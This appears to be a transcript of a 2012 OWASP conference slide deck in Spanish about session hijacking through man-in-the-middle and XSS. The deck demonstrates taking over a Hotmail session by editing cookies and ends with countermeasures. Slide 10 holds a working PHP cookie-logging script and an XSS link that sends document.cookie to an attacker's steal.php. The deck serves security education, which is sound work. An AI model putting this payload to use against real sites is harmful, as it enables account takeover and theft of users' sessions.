Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session...

21
The OWASP Foundation http://www.owasp.org OWASP LATAM TOUR 2012 Session Hijacking: Secuestro de sesiones en aplicaciones web empresariales OMAR PALOMINO HUAMANÍ KUNAK CONSULTING SAC [email protected] [email protected] Telef: 973861650 http://www.el-palomo.com

Transcript of Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session...

Page 1: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

The OWASP Foundation http://www.owasp.org

OWASP LATAM TOUR 2012

Session Hijacking: Secuestro de sesiones en aplicaciones web empresariales

OMAR PALOMINO HUAMANÍ KUNAK CONSULTING SAC

[email protected] [email protected]

Telef: 973861650

http://www.el-palomo.com

Page 2: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

AGRADECIMIENTOS A :

2

Page 3: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

Derechos de Autor y Licencia Copyright © 2003 – 2012 Fundación OWASP Este documento es publicado bajo la licencia Creative Commons Attribution ShareAlike 3.0. Para cualquier reutilización o distribución, usted debe dejar en claro a otros los términos de la licencia sobre este trabajo.

The OWASP Foundation http://www.owasp.org

Page 4: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

• Ing. Sistemas y Maestrista de Ing. de

Computación y Sistemas, CEH,

Security+, ITIL v3.

• Consultor en seguridad de

información de KUNAK Consulting.

• Psicólogo que aun no comienza sus

estudios….

• Escritor en mis tiempos libres:

http://www.el-palomo.com

http://www.facebook.com/El.Palomo.Seguridad.Informacion

Page 5: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012 5

INDICE 1. Introducción

• ¿Qué es el session hijacking?

• Objetivo de la presentación

• Ejercicio 1: Demostración de la facilidad del robo de sesiones

2. ¿Soy vulnerable?

• Técnicas y métodos de explotación

• Escenarios de ataque:

• Ejercicio 2: Hombre en el medio (MiTM)

• Ejercicio 3: Cross Site Scripting (XSS)

3. Robo de sesiones en aplicaciones web comerciales: Hotmail, Facebook y Wordpress

4. Técnicas y método para evitar el secuestro/robo de sesiones

5. Conclusiones

Page 6: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

RESUMEN

6

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

¿Qué es session hijacking?

Es el secuestro/robo de sesiones (identificación) de usuarios

para lograr acceso privilegiado a una aplicación web

comprometiendo la integridad y confidencialidad de la

información.

Page 7: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

RESUMEN

7

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

IMPORTANCIA

La inadecuada gestión de sesiones en aplicaciones web

empresariales se ha convertido en la tercera vulnerabilidad en

aplicaciones web (OWASP Top 10 – 2010)

El impacto de explotar esta vulnerabilidad es CRÍTICO debido a

la exposición de información restringida para el negocio.

Page 8: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012 8

Funcionamiento: Man in the middle

1

2

El usuario ha ingresado normalmente a una aplicación web comercial o corporativo, como: • Hotmail • Facebook • Aplicaciones web

particulares (corporativos)

El atacante encuentra un

mecanismo para

averiguar el identificador de SESIÓN y realizar el secuestro de la sesión del usuario.

Importante: El usuario (la víctima) no se entera que su sesión de aplicación web ha sido vulnerada.

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

Page 9: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

9

Funcionamiento: Cross Site Scripting

2

1

1. Un usuario normal ingresa a la App. Web y ejecuta el código Javascript. 2. El código Javascript envía el código de Sesión al servidor web externo.

1. El usuario malicioso prepara un servidor web externo para almacenar las sesiones. 2. El usuarios malicioso coloca código JavaScript sobre la App. Web Vulnerable. Importante:

Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web.

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

Page 10: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

10

Funcionamiento: Cross Site Scripting

1

<?php $session = $_GET["cookie"]; $date = date("l ds of F Y h:i:s A"); $user_agent = $_SERVER['HTTP_USER_AGENT']; $file = fopen('log.txt','a'); fwrite($file, "DATE: $date || USER AGENT: $user_agent || COOKIE: $session \n"); fclose($file); header("Location: http://XXXXXXX/hijacking/listado.php"); ?>

<a href="#" onClick=document.location="http://192.168.1.48/steal.php?cookie="+escape(document.cookie);>Ver aqui los detalles</a>

Importante: Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web.

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

Page 11: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

¿Por qué sucede esto?

1

2

Cuando el usuario ingresa a una página web: 1. Se crea una sesión aleatoria en el servidor

web , esta sesión se almacena en una cookie o en una sesión .

2. Esta cookie viaja por la web cada vez que el cliente navega por la aplicación. La cookie contiene un identificador de sesión.

1. El atacante realiza un ataque para conseguir la sesión del usuario:

Hombre en el medio (Man in the middle – MiTM)

Predecir el identificador de sesión (Predict Session)

Cross site scripting (XSS) Otros de menos probabilidad

2. El atacante modifica la cookie e ingresa a la aplicación web con el contenido restringido de la víctima.

Esto sucede porque: La transmisión de la sesión viaja en

texto plano (MITM) Cross Site Scripting (XSS) Algoritmo débil de ID de sesión (sesiones

predecibles o muy pequeñas). Incorrecta configuración del bloqueo de sesiones. Sesiones que nunca expiran.

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

Page 12: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

Vamos a la práctica

Aplicación web PHP : 1. Capturamos la sesión mediante la técnica de hombre en el

medio. 2. Identificamos la cookie y el número de sesión. 3. Modificamos la cookie mediante una herramienta: Advanced

Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña.

Aplicaciones web en internet (HOTMAIL): 1. Capturamos la sesión mediante la técnica de hombre en el

medio. 2. Identificamos la cookie: RPSTAuth 3. Modificamos la cookie mediante una herramienta: Advanced

Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña.

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

Page 13: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

EJEMPLOS

Page 14: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

Debemos automatizar el ataque….

• Ferret: Herramienta para formatear el archivo PCAP producto del sniffing.

• Hamster: Proxy que muestra las cookies formateadas por Ferret.

• Herramientas que funcionan en Windows y Linux. Hamster y Ferret

• Plugin de Mozilla Firefox

• Automatiza de manera muy rápida el robo de sesiones.

• A la fecha (2012) el plugin está descontinuado. Firesheep

• Plugin de Mozilla Firefox

• Permite ingresar la cookie capturada mediante MITM Greasemonkey

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

Page 15: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

Debemos automatizar el ataque….

• Plugin de Mozilla Firefox

• Permite ingresar la cookie capturada mediante MITM Greasemonkey /

Wireshark Cookie Dump

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

Page 16: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012

• Plugin de Mozilla Firefox

• Automatiza de manera muy rápida el robo de sesiones.

• A la fecha (2012) el plugin está descontinuado.

Firesheep

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

1. El atacante realiza un ataque para conseguir la sesión del usuario (MITM).

2. Firesheep coge el identificador de sesión y te permite ingresar a la aplicación de la manera más fácil y sencilla.

Page 17: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

EJEMPLOS

Page 18: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

Summary & Conclusion

Page 19: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

OWASP LATAM TOUR 2012 19

¿Cómo funciona el secuestro de sesiones?

Secuestro de sesiones de

forma manual

Herramientas de secuestro de

sesiones

Conclusiones y contramedidas

UTILIZAR CONEXIONES SSL PARA TODA LA PÁGINA WEB Y NO SÓLO PARA EL LOGIN DE APLICACIONES WEB.

REALIZAR UN CORRECTO FILTRADO DE VARIABLES EN APLICACIONES WEB PARA EVITAR ATAQUES XSS.

EVITAR UTILIZAR REDES PÚBLICAS, ASEGURASE HACERLO A TRAVÉS DE UNA CONEXIÓN VPN.

CONFIGURAR TODOS LOS SERVICIOS POSIBLES A TRAVÉS DE HTTPS: Hotmail, Facebook, Twitter, etc.

Page 20: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

The OWASP Foundation http://www.owasp.org

OWASP LATAM TOUR 2012

Preguntas

20

Page 21: Session Hijacking: Secuestro de sesiones en aplicaciones ...index-of.co.uk/Hacking-Coleccion/Session Hijacking... · 3. Robo de sesiones en aplicaciones web comerciales: Hotmail,

The OWASP Foundation http://www.owasp.org

OWASP LATAM TOUR 2012

Session Hijacking: Secuestro de sesiones en aplicaciones web empresariales

OMAR PALOMINO HUAMANÍ KUNAK CONSULTING SAC

[email protected] [email protected]

Telef: 973861650

http://www.el-palomo.com